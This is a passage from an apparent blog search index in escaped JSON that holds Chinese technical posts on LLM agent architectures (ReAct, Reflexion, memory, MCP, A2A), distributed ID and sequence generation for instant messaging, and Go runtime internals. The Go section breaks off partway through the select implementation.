自评或启发式）对分支打分，运用 BFS/DFS 策略选择最优路径，必要时回溯（Backtracking）。\n实现示例（以\u0026quot;24点游戏\u0026quot;为例）：\nPYTHONimport itertools def propose(llm, state: str) -\u0026gt; list[str]: \u0026#34;\u0026#34;\u0026#34;让 LLM 生成多个候选下一步\u0026#34;\u0026#34;\u0026#34; resp = llm.generate( prompt=f\u0026#34;当前状态：{state}\\n\u0026#34; f\u0026#34;请对剩余数字提出所有可能的下一步运算（每行一个）：\u0026#34; ) return resp.strip().split(\u0026#34;\\n\u0026#34;) # 例如返回: [\u0026#34;13 - 9 = 4 (剩余 4 4 10)\u0026#34;, \u0026#34;10 - 4 = 6 (剩余 9 6 13)\u0026#34;, ...] def evaluate(llm, state: str, candidates: list[str]) -\u0026gt; dict[str, str]: \u0026#34;\u0026#34;\u0026#34;让 LLM 对每个候选分支打分: sure / maybe / impossible\u0026#34;\u0026#34;\u0026#34; scores = {} for c in candidates: resp = llm.generate( prompt=f\u0026#34;目标：用 +、-、*、/ 让剩余数字得到24。\\n\u0026#34; f\u0026#34;当前状态：{state}\\n\u0026#34; f\u0026#34;候选下一步：{c}\\n\u0026#34; f\u0026#34;判断这条路径能否达到24？回答 sure / maybe / impossible：\u0026#34; ) scores[c] = resp.strip() # \u0026#34;sure\u0026#34; / \u0026#34;maybe\u0026#34; / \u0026#34;impossible\u0026#34; return scores def solve_24_bfs(llm, numbers: list[int]) -\u0026gt; str | None: \u0026#34;\u0026#34;\u0026#34;BFS 搜索：逐层展开，优先展开评分高的分支\u0026#34;\u0026#34;\u0026#34; queue = [f\u0026#34;数字: {numbers}\u0026#34;] # 初始状态 while queue: state = queue.pop(0) # 1. Propose: 生成候选分支 candidates = propose(llm, state) # 2. Evaluate: LLM 打分 scores = evaluate(llm, state, candidates) for candidate, score in sorted(scores.items(), key=lambda x: {\u0026#34;sure\u0026#34;: 0, \u0026#34;maybe\u0026#34;: 1, \u0026#34;impossible\u0026#34;: 2}[x[1]]): if score == \u0026#34;impossible\u0026#34;: continue # 剪枝，跳过不可能的分支 if \u0026#34;24\u0026#34; in candidate and \u0026#34;=\u0026#34; in candidate: return candidate # 找到解 queue.append(candidate) # 加入队列继续展开 return None # 搜索完毕，无解 result = solve_24_bfs(llm, [4, 9, 10, 13]) # 搜索过程： # 层1: propose → [\u0026#34;13-9=4 剩余[4,4,10]\u0026#34;, \u0026#34;10-4=6 剩余[9,6,13]\u0026#34;, ...] # evaluate → {... \u0026#34;10-4=6\u0026#34;: \u0026#34;sure\u0026#34;} ← 优先展开 # 层2: propose → [\u0026#34;13-9=4 剩余[6,4]\u0026#34;, \u0026#34;9-6=3 剩余[3,13]\u0026#34;, ...] # evaluate → {\u0026#34;13-9=4 剩余[6,4]\u0026#34;: \u0026#34;sure\u0026#34;, \u0026#34;9-6=3\u0026#34;: \u0026#34;impossible\u0026#34;} # 层3: propose → [\u0026#34;6*4=24 ✅\u0026#34;] 关键在于每步都让 LLM 生成多个候选 → 自我评估 → 选择性展开，而不是一条路走到底。\n适用场景： 需要探索和回溯的复杂规划问题，如创意写作、数学证明、博弈推理。\nReAct (Reasoning + Acting) 核心思想： 将推理（Thought） 和 行动（Action） 交替执行。Agent 在每一轮先思考当前状态和下一步计划，然后调用外部工具执行动作，再根据工具返回的观察（Observation） 继续推理，形成 Thought → Action → Observation 的循环。\nTEXTThought: 用户问的是今天北京的天气，我需要调用天气API。 Action: call_weather_api(city=\u0026#34;北京\u0026#34;) Observation: 晴，25°C，东风3级。 Thought: 我已经拿到了天气信息，可以回复用户了。 Answer: 今天北京天气晴朗，气温25°C，东风3级。 优点： 让 LLM 与外部世界交互时具备可解释的推理链，大幅减少幻觉。这是当前主流 Agent 框架（LangChain、AutoGPT 等）的基础范式。\nReflexion 核心思想： 在 ReAct 的基础上加入自我反思机制。Agent 执行任务后，会对结果进行评估，如果失败则生成一段\u0026quot;反思总结\u0026quot;（verbal reinforcement），存入短期记忆，在下一轮重试时参考这段反思来避免重复犯错。\nTEXTTrial 1 → 失败 Reflection: \u0026#34;我在第3步错误地假设了X，下次应该先验证X的前提条件。\u0026#34; Trial 2 → 参考 Reflection → 成功 实现示例（以代码生成任务为例）：\nPYTHONdef reflexion_loop(task, max_trials=3): reflections = [] # 累积的反思记忆 for trial in range(max_trials): # 1. Actor：生成代码（参考历史反思） code = llm.generate( prompt=f\u0026#34;任务：{task}\\n历史反思：{reflections}\\n请生成代码：\u0026#34; ) # 2. Evaluator：运行单元测试 test_result = run_tests(code) if test_result.passed: return code # 成功，退出 # 3. Self-Reflection：失败时生成反思 reflection = llm.generate( prompt=f\u0026#34;代码：{code}\\n测试结果：{test_result.errors}\\n\u0026#34; f\u0026#34;请分析失败原因并总结教训：\u0026#34; ) # reflection: \u0026#34;我忽略了输入为空列表的边界情况，下次应先处理空输入。\u0026#34; reflections.append(reflection) # 存入短期记忆 return None # 多次重试仍失败 关键在于每次失败后生成的 自然语言反思 会作为上下文传入下一轮，引导 Agent 避开已知的坑。\n优点： 不修改模型权重，仅靠自然语言反馈实现\u0026quot;自我进化\u0026quot;，显著提升多轮任务的成功率。\nPlan-and-Solve 核心思想： 先制定完整计划，再逐步执行。与 ReAct 的\u0026quot;边想边做\u0026quot;不同，Plan-and-Solve 要求 Agent 在动手之前先输出一个完整的、编号明确的行动计划，然后按计划逐步执行。\n实现示例：\nPrompt 模板分两阶段——先让 LLM 输出计划，再逐步执行：\nTEXT# 阶段一：制定计划 User: 帮我分析这份CSV销售数据，找出销售额最高的产品类别，并生成可视化图表。 Assistant（Plan）: 计划如下： 1. 读取CSV文件，检查数据格式和字段。 2. 按产品类别分组，计算每个类别的销售额总和。 3. 对结果降序排列，找出TOP类别。 4. 使用matplotlib生成柱状图并保存。 # 阶段二：逐步执行 执行步骤1: 读取CSV... 结果: 文件包含3列 [product_category, quantity, price]，共10000行。 执行步骤2: 按类别聚合... 结果: {电子产品: 580万, 服装: 320万, 食品: 210万, ...} 执行步骤3: 排序... 结果: 销售额最高的类别是「电子产品」，总计580万。 执行步骤4: 生成图表... 结果: 图表已保存至 output/sales_by_category.png。 与 ReAct 的区别：Plan-and-Solve 先规划全局再执行，而 ReAct 是边推理边行动。前者适合步骤明确、依赖清晰的任务；后者更适合需要动态应变的开放场景。\n适用场景： 步骤间有强依赖关系的任务，如多步数据处理流水线、复杂的代码重构。\nMemory Short-term Memory 短期记忆对应的是 LLM 的上下文窗口（Context Window）。当前对话中的所有消息——用户输入、模型输出、工具调用结果——都会作为 Prompt 的一部分送入模型，这就是 Agent 的\u0026quot;工作记忆\u0026quot;。\n核心限制： 上下文窗口有固定的 Token 上限（如 GPT-4 Turbo 为 128K tokens）。一旦对话内容超出窗口大小，最早的消息会被截断丢失。\n常见应对策略：\n滑动窗口（Sliding Window）：只保留最近 N 轮对话，丢弃更早的内容。简单但会丢失关键上下文。 摘要压缩（Summarization）：让 LLM 对历史对话生成摘要，用摘要替换原始消息，节省 Token 的同时保留核心信息。 关键信息提取（Key-Value Extraction）：从历史对话中提取结构化的关键事实（如用户偏好、已确认的参数），以压缩格式保留在上下文中。 Long-term Memory（以mem0为例） Mem0 是什么？ Mem0 本质上是一个“由大模型驱动的、针对非结构化数据的状态机引擎”。 传统的 RAG（检索增强生成）是“只读不改”的（Append-only），而 Mem0 解决的是记忆的 CRUD（增删改查）和自我迭代。\n1. 核心工作流：一次 add() 背后发生了什么？ 当你调用 m.add(\u0026quot;我今天从北京搬到了上海\u0026quot;) 时，系统底层并不是直接把它塞进向量数据库，而是走了一个极其复杂的 ETL + 状态判断流水线：\n步骤一：意图与实体抽取 (Extraction) Mem0 会在后台先悄悄调用一次 LLM（通常是一个小模型，为了省钱和速度），把你的非结构化文本转化为结构化的 KV 或 JSON。比如提取出：主体: User, 动作: 搬家, 旧地点: 北京, 新地点: 上海。\n步骤二：历史召回 (Retrieve History) 系统拿着提取出来的关键实体，去底层的存储引擎里查：“数据库里有没有关于这个用户‘住址’的历史记录？”\n步骤三：大模型裁判员 (LLM-as-a-Judge) 如果查到数据库里有一条旧记录是“我住在北京”，Mem0 会把新输入和旧记录同时交给 LLM，让 LLM 做一次逻辑判断（路由）。LLM 会决定执行以下哪种操作：\nADD（新增）：如果这是个全新的信息（比如“我喜欢吃苹果”），直接插入。\nUPDATE（更新）：如果发生了状态变更，LLM 会生成更新指令，把“住在北京”的记忆覆盖为“住在上海”。\nDELETE（逻辑删除/归档）：对于已经失效的记忆进行丢弃。\n步骤四：持久化落库 (Persistence) 最终，只有经过这套“思考”清洗后的干净数据，才会被真正写入底层的存储引擎。\n2. 混合存储引擎：不只是 VectorDB Mem0 能做到精准回忆，是因为它在底层做了“三库合一”的设计：\n向量层 (Vector Store)：比如 Qdrant、Milvus 或 Chroma。负责存储记忆的文本 Embedding，用来做模糊的语义相似度检索（比如用户说“给我推荐点水果”，系统能召回“用户喜欢吃苹果”的记忆）。\n图数据库层 (Graph Database)：这是 Mem0 进阶版最硬核的地方。它用类似 Neo4j 的技术来存储实体之间的关系（Entity-Relationship）。比如构建一棵树：用户 -\u0026gt; 拥有技能 -\u0026gt; Java -\u0026gt; 掌握框架 -\u0026gt; Spring Boot。当问题涉及到复杂逻辑推理时，图数据库比单纯的向量检索准得多。\n元数据层 (Relational / KV)：使用 SQLite 或 Postgres 存储硬性约束数据。比如 user_id、session_id、created_at（创建时间）、updated_at（更新时间）。这保证了在多租户高并发场景下，用户 A 绝对不会串接到用户 B 的记忆。\n3. 记忆的检索与衰减机制 (The Read Path) 当你调用 m.search() 时，Mem0 的查找逻辑也比普通 RAG 高级：\n混合检索 (Hybrid Search)：它会同时向向量库（查语义关联）和图数据库（查逻辑关系）发起并发查询。\n时间衰减与评分 (Scoring \u0026amp; Decay)：普通的向量数据库只看“相似度”。但 Mem0 的元数据层记录了时间戳，它会在底层根据时间对记忆进行打分调整。相似度极高但已经是 3 年前的废旧记忆，权重会被降低；而昨天刚存入的、略微相关的记忆，可能会被优先召回。 这完美模拟了人类“遗忘曲线”的生物学机制。\nTools Tools 是 Agent 与外部世界交互的桥梁——开发者预先定义好的函数，供 LLM 在推理过程中按需调用。\nFunction Calling 工作流程 LLM 本身不能执行代码或访问网络，它通过 Function Calling 机制间接使用工具：\n声明工具：开发者在请求中以 JSON Schema 格式声明可用工具的名称、描述和参数定义。 模型决策：LLM 根据用户意图判断是否需要调用工具，如果需要，输出结构化的调用请求（函数名 + 参数）。 宿主执行：应用程序（宿主）解析模型输出，实际执行对应函数，获取返回结果。 结果回传：将工具执行结果作为新的消息插入上下文，LLM 基于该结果生成最终回答。 常见工具类型 类型 示例 信息检索 网页搜索、知识库查询、数据库查询 代码执行 Python 沙箱、Shell 命令执行 外部 API 天气查询、发送邮件、创建日历事件 文件操作 读写文件、解析 PDF/Excel 多模态处理 图像生成（DALL·E）、语音合成（TTS） 工具的质量直接决定了 Agent 的能力上限——LLM 负责\u0026quot;想\u0026quot;，Tools 负责\u0026quot;做\u0026quot;。\nAgent的演进 Multi-Agent 单个 Agent 能力有限——上下文窗口有限、单一角色容易产生偏见、复杂任务难以在一条推理链中完成。Multi-Agent 的核心思想是 让多个专长不同的 Agent 协作完成任务，就像一个团队里有产品经理、架构师、程序员、测试员各司其职。\n常见协作模式 主从模式（Orchestrator-Workers）：一个主 Agent 负责任务拆解和调度，多个子 Agent 各自执行具体子任务。主 Agent 汇总结果后输出最终答案。\n辩论模式（Debate）：多个 Agent 就同一问题各自给出答案，然后相互质疑和反驳，经过多轮辩论后收敛到一个更可靠的答案。可以有效减少幻觉。\n流水线模式（Pipeline）：Agent A 的输出作为 Agent B 的输入，像工厂流水线一样串联处理。适合有明确先后顺序的任务（如：需求分析 → 代码生成 → 代码审查 → 测试）。\n典型框架 框架 特点 CrewAI 角色驱动，定义 Agent 的 role、goal、backstory，自动协作 AutoGen 微软出品，支持灵活的多 Agent 对话拓扑 LangGraph 基于图的状态机，精确控制 Agent 间的消息流转 MCP 官方定义 MCP（Model Context Protocol，模型上下文协议）是一种用于将 AI 应用程序连接到外部系统的开源标准。\n本质 MCP 是一种约定，只要服务/资源提供者（resources, tools）和 AI 应用程序遵循这个约定，AI 应用程序就可以根据这个约定来访问任意按照这个约定实现的资源/服务。\n类比： MCP 之于 Agent，就像 USB 之于电脑外设。有了 USB 标准，任何厂商生产的键盘、鼠标、U盘都能即插即用；有了 MCP，任何按此协议实现的工具都能被任何 Agent 直接调用。\n架构 MCP 采用 Client-Server 架构：\nMCP Host：AI 应用程序（如 Claude Desktop、IDE 插件），内嵌 MCP Client。 MCP Client：与 MCP Server 建立一对一连接，负责协议通信。 MCP Server：轻量级服务，通过标准化接口暴露以下三类能力： Tools：可被 LLM 调用的函数（如搜索、数据库查询、API 调用）。 Resources：只读的数据源（如文件内容、数据库记录），类似 GET 请求。 Prompts：预定义的 Prompt 模板，用户可选择使用。 通信方式支持两种传输层：\nstdio：基于标准输入输出，适用于本地进程通信。 Streamable HTTP：基于 HTTP + SSE（Server-Sent Events），适用于远程服务。 流程 sequenceDiagram participant U as User participant H as Host participant L as LLM participant C as Client participant S as Tool Server U-\u003e\u003eH: 1. 发送 Prompt H-\u003e\u003eC: 2. 请求 tools/list C-\u003e\u003eS: 获取可用工具列表 S--\u003e\u003eC: 返回 tools/list C--\u003e\u003eH: 返回 tools/list H-\u003e\u003eL: 3. Prompt + tools/list L--\u003e\u003eH: 4. 生成 tool_calls H-\u003e\u003eC: 5. 调用对应工具 C-\u003e\u003eS: 执行 Tool S--\u003e\u003eC: 返回 Tool 结果 C--\u003e\u003eH: 返回 Tool 结果 H-\u003e\u003eL: 6. Tool 结果作为上下文 L--\u003e\u003eH: 7. 生成最终回答 H--\u003e\u003eU: 返回结果作用 MCP 让 tools 的复用成为可能。\n如果你自己实现一个 agent，你不需要把各种 tools 自己再写一遍（重复造轮子），直接通过 MCP 复用别人写好的 tools 就行了。\n服务提供商只需要按照 MCP 提供服务，用户就可以很方便地使用这个服务。降低服务的接入难度，推动了服务使用。\nA2A 官方定义 A2A（Agent-to-Agent）协议是一个开放标准，它实现了 AI agents 之间的无缝通信和协作。它为使用不同框架和由不同供应商构建的代理提供了一种通用语言，从而促进了互操作性并打破了信息孤岛。\nMCP vs A2A 两者互补，解决的是不同层面的问题：\nMCP A2A 连接对象 Agent ↔ Tool/数据源 Agent ↔ Agent 类比 一个人使用工具（锤子、扳手） 两个人之间对话协作 交互模式 请求-响应（调用函数，拿结果） 任务委托（发出任务，对方自主完成） 对方特征 被调用方是确定性的程序 对方是自主的、不透明的智能体 简单说：MCP 让 Agent 能用工具，A2A 让 Agent 能找同事。\n作用 A2A 让智能体的复用成为可能。\n如果自己实现一个 Multi-Agent 系统，需要自己实现各 Sub-Agent，其中可能包含一些通用的 agent。通过 A2A，直接让自己的 agent 与其他 agent 交互，避免重复开发 Sub-Agent。\n核心概念 Agent Card：一个公开的 JSON 元数据文件（类似于 API 的 OpenAPI Spec），声明 agent 的能力、技能、认证方式等。客户端通过读取 Agent Card 来发现和选择合适的 agent。 Task：A2A 中的基本工作单元。客户端创建一个 Task 发送给远程 agent，Task 有状态流转（submitted → working → completed / failed）。 Artifact：Task 执行过程中产生的输出物（如生成的文件、报告等）。 Skills 组织有序的文件夹，其中包含指令、脚本和资源，agents 可以动态发现并加载这些文件夹，从而更好地执行特定任务。\n为什么需要 Skills Prompt 和 tools 分散在各处，很难复用和组合。Skills 将相关的指令、工具配置、资源文件打包为一个自包含的能力单元，agent 可以在运行时按需加载。\nSkill 的典型结构 TEXTskills/ code-review/ SKILL.md # 技能说明：何时触发、如何使用 instructions.md # 详细指令：代码审查的规则和流程 checklist.yaml # 资源文件：审查检查清单 deploy/ SKILL.md instructions.md scripts/ deploy.sh # 可执行脚本 每个 Skill 文件夹包含一个 SKILL.md 描述文件，agent 通过扫描这些描述来决定当前任务需要加载哪些 Skills。这样不同的 agent 可以复用同一套 Skills，就像不同的员工可以参考同一份 SOP 手册。\n参考资料 LLM Powered Autonomous Agents | Lil\u0026rsquo;Log Function calling | OpenAI API A2A Protocol Model Context Protocol Equipping agents for the real world with Agent Skills \\ Anthropic | Claude Chain-of-Thought Prompting Elicits Reasoning in Large Language Models Tree of Thoughts: Deliberate Problem Solving with Large Language Models ReAct: Synergizing Reasoning and Acting in Language Models Reflexion: Language Agents with Verbal Reinforcement Learning Plan-and-Solve Prompting: Improving Zero-Shot Chain-of-Thought Reasoning by Large Language Models ","permalink":"https://buvidk1234.github.io/posts/agent/","summary":"系统梳理 LLM Agent 的经典架构（Planning、Memory、Tools）及演进方向（Multi-Agent、MCP、A2A、Skills）。","title":"Agent"},{"content":"分布式 ID / 序列号生成方案技术选型 1. 方案概述 1.1 UUID 128 位随机数（V4）或基于时间+MAC（V1）。无需中心节点，生成即唯一。\n完全无序、不连续，无法用于排序或范围查询 36 字节字符串存储开销大，随机值导致 B+Tree 页分裂，写入性能差 1.2 数据库自增 ID MySQL AUTO_INCREMENT 主键，单表内严格递增且连续。\n每次发号伴随磁盘写（INSERT/UPDATE），单机上限约 1000-3000 TPS 强依赖单点数据库，宕机即停；分库后各库独立递增，全局不连续 1.3 Snowflake（雪花算法） 64 位 = 1 bit 符号 + 41 bit 时间戳 + 10 bit 机器 ID + 12 bit 序列号。纯内存计算，单机 400 万+/秒。\n趋势递增但不连续，两个 ID 的差值无业务含义 依赖机器时钟，时钟回拨可能导致 ID 重复 1.4 Leaf-Segment（美团 Leaf 号段模式） 从数据库批量预取号段（如 1000 个），应用内存中顺序分发。当前号段消耗到阈值时异步预加载下一号段，避免切换时阻塞。\n号段内连续，但进程重启时未消费的号段被浪费，产生空洞 多实例部署时各进程持有不同号段，同一业务维度内 ID 交叉，无法保证连续 1.5 Leaf-Snowflake Snowflake 变体，用 ZooKeeper 管理 workerID 并解决时钟回拨。本质仍是 Snowflake，不连续的缺陷不变。\n1.6 Redis INCR 对 Redis Key 执行 INCR / INCRBY 原子递增。严格递增且连续，单机 10 万+ QPS。\n依赖 Redis 可用性；主从异步复制下，切换后可能 Seq 回退导致重复 1.7 Redis + MySQL 号段（混合方案） MySQL 持久化号段上界，Redis 在号段范围内高速分发。\nTEXT业务服务 ──INCRBY──\u0026gt; Redis（号段内分发）──号段申请──\u0026gt; MySQL（持久化上界） SQLCREATE TABLE seq_segment ( conversation_id VARCHAR(128) PRIMARY KEY, max_seq BIGINT NOT NULL DEFAULT 0 ); -- 申请号段：UPDATE seq_segment SET max_seq = max_seq + 1000 WHERE conversation_id = ? -- Redis 在 [old_max+1, old_max+1000] 范围内通过 INCRBY 分发 -- 当前号段消耗到阈值时异步向 MySQL 预加载下一号段 正常运行时严格连续；Redis 故障切换时未用完的号段被跳过，可能产生空洞，但绝不重复 99.9% 请求走 Redis，MySQL 调用频率 = QPS / 号段大小 2. 对比总结 方案 唯一 有序 连续 性能 故障安全（不重复） 外部依赖 UUID ✅ ❌ ❌ ✅ ✅ 无 DB 自增 ✅ ✅ ✅ ❌ ✅ MySQL Snowflake ✅ ⚠️ ❌ ✅ ⚠️ 时钟 Leaf-Segment ✅ ✅ ⚠️ ✅ ✅ MySQL Leaf-Snowflake ✅ ⚠️ ❌ ✅ ✅ MySQL + ZK Redis INCR ✅ ✅ ✅ ✅ ⚠️ Redis Redis+MySQL 号段 ✅ ✅ ✅ ✅ ✅ Redis + MySQL 3. IM 场景选型：会话级 Redis + MySQL 号段 3.1 业务约束 IM 消息标识符需要满足以下需求：\n需求 原因 严格连续 增量同步依赖 serverMaxSeq - clientLastSeq = 差量条数；未读数依赖 maxSeq - readSeq 不可重复 重复 Seq 导致增量同步和未读计数逻辑错乱（数据库主键为雪花 ID，消息通过 clientMsgID 去重，Seq 仅用于排序与同步） 高性能 万级 QPS 消息写入，发号不能成为瓶颈 优先级：故障安全（不重复） \u0026gt; 连续性（隐含有序性） \u0026gt; 性能\n连续性是比有序性更强的约束——严格连续天然保证有序，反之不成立（有序但不连续无法做差值计算）。\n3.2 为什么是\u0026quot;会话级\u0026quot; 全局 Seq 所有会话共享一个计数器，单会话内必然产生空洞（被其他会话占用），违反连续性。会话级 Seq 每个 conversationID 独立计数，天然隔离。\n此外，会话级 Seq 将压力分散到成千上万个独立 Key，消除全局单 Key 热点。在 Redis Cluster 下自动分布到不同 Slot，实现水平扩展。\n3.3 批量预分配 消息经过 Batcher 聚合后，使用 INCRBY 一次从 Redis 申请一批 Seq，Redis 调用从 O(N)降为 O(1)\nGOmaxSeq, _ := db.seqConversation.Malloc(ctx, conversationID, int64(len(msgs))) for i, msg := range msgs { msg.Seq = maxSeq + int64(i) + 1 } 当 Redis 中的值逼近当前号段上界时，触发异步向 MySQL 申请下一号段。\n3.4 故障与自愈 Redis 宕机时：未用完的号段被跳过（如 [901-1000] 只用到 950，恢复后从 MySQL 读取上界 1000，申请新号段 [1001-2000]），产生空洞但不重复。\n空洞对未读数的影响：maxSeq(1003) - readSeq(900) = 103，实际只有 3 条新消息，未读数临时偏大。但用户点进会话拉取消息后，readSeq 直接更新到实际最新消息的 Seq（1003），空洞被自然跳过。IM 用户的阅读行为本身即是校准机制，无需额外定时任务。\n3.5 风险缓解 风险 措施 MySQL 短暂不可用 当前号段消耗到阈值（如 80%）时异步预加载下一号段，确保切换时已有备用号段 号段大小选择 过大则故障时跳号多，过小则频繁访问 DB。根据业务消息量取平衡值 参考资料 Leaf——美团点评分布式ID生成系统 — Leaf 核心架构原理，号段模式双 Buffer 机制与雪花模式的底层实现 Leaf：美团分布式ID生成服务开源 — Leaf 开源版本特性、高可用容灾部署与 MySQL 半同步复制方案 Announcing Snowflake — Twitter 雪花算法原始设计 微信如何生成连续单调递增的消息序号 — 微信 IM 场景下消息序号生成架构与连续性保障实践 ","permalink":"https://buvidk1234.github.io/posts/id-seq-generation/","summary":"\u003ch1 id=\"分布式-id--序列号生成方案技术选型\"\u003e分布式 ID / 序列号生成方案技术选型\u003c/h1\u003e\n\u003ch2 id=\"1-方案概述\"\u003e1. 方案概述\u003c/h2\u003e\n\u003ch3 id=\"11-uuid\"\u003e1.1 UUID\u003c/h3\u003e\n\u003cp\u003e128 位随机数（V4）或基于时间+MAC（V1）。无需中心节点，生成即唯一。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e完全无序、不连续，无法用于排序或范围查询\u003c/li\u003e\n\u003cli\u003e36 字节字符串存储开销大，随机值导致 B+Tree 页分裂，写入性能差\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"12-数据库自增-id\"\u003e1.2 数据库自增 ID\u003c/h3\u003e\n\u003cp\u003eMySQL \u003ccode\u003eAUTO_INCREMENT\u003c/code\u003e 主键，单表内严格递增且连续。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e每次发号伴随磁盘写（INSERT/UPDATE），单机上限约 1000-3000 TPS\u003c/li\u003e\n\u003cli\u003e强依赖单点数据库，宕机即停；分库后各库独立递增，全局不连续\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"13-snowflake雪花算法\"\u003e1.3 Snowflake（雪花算法）\u003c/h3\u003e\n\u003cp\u003e64 位 = 1 bit 符号 + 41 bit 时间戳 + 10 bit 机器 ID + 12 bit 序列号。纯内存计算，单机 400 万+/秒。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e趋势递增但不连续，两个 ID 的差值无业务含义\u003c/li\u003e\n\u003cli\u003e依赖机器时钟，时钟回拨可能导致 ID 重复\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"14-leaf-segment美团-leaf-号段模式\"\u003e1.4 Leaf-Segment（美团 Leaf 号段模式）\u003c/h3\u003e\n\u003cp\u003e从数据库批量预取号段（如 1000 个），应用内存中顺序分发。当前号段消耗到阈值时异步预加载下一号段，避免切换时阻塞。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e号段内连续，但进程重启时未消费的号段被浪费，产生空洞\u003c/li\u003e\n\u003cli\u003e多实例部署时各进程持有不同号段，同一业务维度内 ID 交叉，无法保证连续\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"15-leaf-snowflake\"\u003e1.5 Leaf-Snowflake\u003c/h3\u003e\n\u003cp\u003eSnowflake 变体，用 ZooKeeper 管理 workerID 并解决时钟回拨。本质仍是 Snowflake，不连续的缺陷不变。\u003c/p\u003e","title":"Id Seq Generation"},{"content":" draft need to be improved\nSlice GOtype slice struct { array unsafe.Pointer len int cap int } // 扩容 func nextslicecap(newLen, oldCap int) int { newcap := oldCap doublecap := newcap + newcap if newLen \u0026gt; doublecap { return newLen } const threshold = 256 if oldCap \u0026lt; threshold { return doublecap } for { // 1.25x newcap += (newcap + 3*threshold) \u0026gt;\u0026gt; 2 if uint(newcap) \u0026gt;= uint(newLen) { break } } // overflowed if newcap \u0026lt;= 0 { return newLen } return newcap } Map GOtype Map struct { used uint64 // The number of filled slots seed uintptr // the hash seed, computed as a unique random number per map. // The directory of tables. // Normally dirPtr points to an array of table pointers // dirPtr *[dirLen]*table dirPtr unsafe.Pointer dirLen int // 1 \u0026lt;\u0026lt; globalDepth globalDepth uint8 // The number of bits to use in table directory lookups. globalShift uint8 // The number of bits to shift out, 64 - globalDepth writing uint8 // detect the race. tombstonePossible bool // whether a table in this map contains a tombstone. clearSeq uint64 // version number, used to detect map clears during iteration. } Swiss Table refer: Faster Go maps with Swiss Tables\n插入过程：\n计算 hash(key) 并将其分成两部分：高 57 位（称为 h1）和低 7 位（称为 h2）。 高位（h1）用于选择要考虑的第一个组：在本例中为 h1 % 2，因为只有 2 个组。 在一个组内，所有槽都有可能容纳该键。我们必须首先确定是否有槽已包含此键，在这种情况下，这是一个更新而不是新的插入。（SIMD） 如果没有槽包含该键，那么我们寻找一个空槽来放置该键。 如果没有空槽，则继续探测序列，搜索下一个组。 增量式增长 refer: Extendible hashing\n将每个 Map 分成多个 Swiss Tables。每个 Map 由一个或多个独立表组成，这些表覆盖键空间的一部分，而不是由一个 Swiss Table 实现整个 Map。单个表最多存储 1024 个条目。哈希中可变数量的高位用于选择键所属的表。（可扩展哈希）\n迭代期间的修改 迭代期间可修改\n如果在到达条目之前删除该条目，则不会生成该条目。 如果在到达条目之前更新该条目，则会生成更新后的值。 如果添加了新条目，则可能生成也可能不生成。 Channel GOtype hchan struct { qcount uint // total data in the queue dataqsiz uint // size of the circular queue buf unsafe.Pointer // points to an array of dataqsiz elements elemsize uint16 closed uint32 timer *timer // timer feeding this chan elemtype *_type // element type sendx uint // send index recvx uint // receive index recvq waitq // list of recv waiters sendq waitq // list of send waiters bubble *synctestBubble // lock protects all fields in hchan, as well as several // fields in sudogs blocked on this channel. lock mutex } type waitq struct { first *sudog last *sudog } 发送数据 依次尝试 recvq-\u0026gt;buf-\u0026gt;sendq 向已关闭的channel发送数据会panic\n接收数据 sendq-\u0026gt;buf-\u0026gt;recvq 向已关闭且缓冲区为空的channel读取数据会返回零值\nSelect GOtype scase struct { c *hchan // chan elem unsafe.Pointer // data element } func selectgo(cas0 *scase, order0 *uint16, pc0 *uintptr, nsends, nrecvs int, block bool) (int, bool) { ... // 洗牌算法，保证概率均等不会出现饥饿 norder := 0 for i := range scases { ... j := cheaprandn(uint32(norder + 1)) pollorder[norder] = pollorder[j] pollorder[j] = uint16(i) norder++ } ... // 堆排序，死锁避免 // sort the cases by Hchan address to get the locking order. // simple heap sort, to guarantee n log n time and constant stack footprint. // 插入建堆，上滤（还有一种自底向上建堆的方式） for i := range lockorder { j := i // Start with the pollorder to permute cases on the same channel. c := scases[pollorder[i]].c for j \u0026gt; 0 \u0026amp;\u0026amp; scases[lockorder[(j-1)/2]].c.sortkey() \u0026lt; c.sortkey() { k := (j - 1) / 2 lockorder[j] = lockorder[k] j = k } lockorder[j] = pollorder[i] } // 排序与节点下沉 for i := len(lockorder) - 1; i \u0026gt;= 0; i-- { o := lockorder[i] c := scases[o].c lockorder[i] = lockorder[0] j := 0 for { k := j*2 + 1 if k \u0026gt;= i { break } if k+1 \u0026lt; i \u0026amp;\u0026amp; scases[lockorder[k]].c.sortkey() \u0026lt; scases[lockorder[k+1]].c.sortkey() { k++ } if c.sortkey() \u0026lt; scases[lockorder[k]].c.sortkey() { lockorder[j] = lockorder[k] j = k continue } break } lockorder[j] = o } ... // lock all the channels involved in the select sellock(scases, lockorder) var ( sg *sudog c *hchan k *scase sglist *sudog sgnext *sudog qp unsafe.Pointer nextp **sudog ) // pass 1 - look for something already waiting var casi int var cas *scase var caseSuccess bool var caseReleaseTime int64 = -1 var recvOK bool for _, casei := range pollorder { casi = int(casei) cas = \u0026amp;scases[casi] c = cas.c if casi \u0026gt;= nsends { // 接收 sg = c.sendq.dequeue() if sg != nil { // 通道满了，发送方挂起等待 goto recv } if c.qcount \u0026gt; 0 { // 有缓存 goto bufrecv } if c.closed != 0 { // 通道关闭 goto rclose } } else { // 发送 if raceenabled { racereadpc(c.raceaddr(), casePC(casi), chansendpc) } if c.closed != 0 { goto sclose } sg = c.recvq.dequeue() if sg != nil { goto send } if c.qcount \u0026lt; c.dataqsiz { goto bufsend } } } if !block { selunlock(scases, lockorder) casi = -1 goto retc } // 生成当前协程的sudog,放入所有channel的等待队列中,挂起等待唤醒 // pass 2 - enqueue on all chans if gp.waiting != nil { throw(\u0026#34;gp.waiting != nil\u0026#34;) } nextp = \u0026amp;gp.waiting for _, casei := range lockorder { casi = int(casei) cas = \u0026amp;scases[casi] c = cas.c sg := acquireSudog() sg.g = gp sg.isSelect = true // No stack splits between assigning elem and enqueuing // sg on gp.waiting where copystack can find it. sg.elem.set(cas.elem) sg.releasetime = 0 if t0 != 0 { sg.releasetime = -1 } sg.c.set(c) // Construct waiting list in lock order. *nextp = sg nextp = \u0026amp;sg.waitlink if casi \u0026lt; nsends { 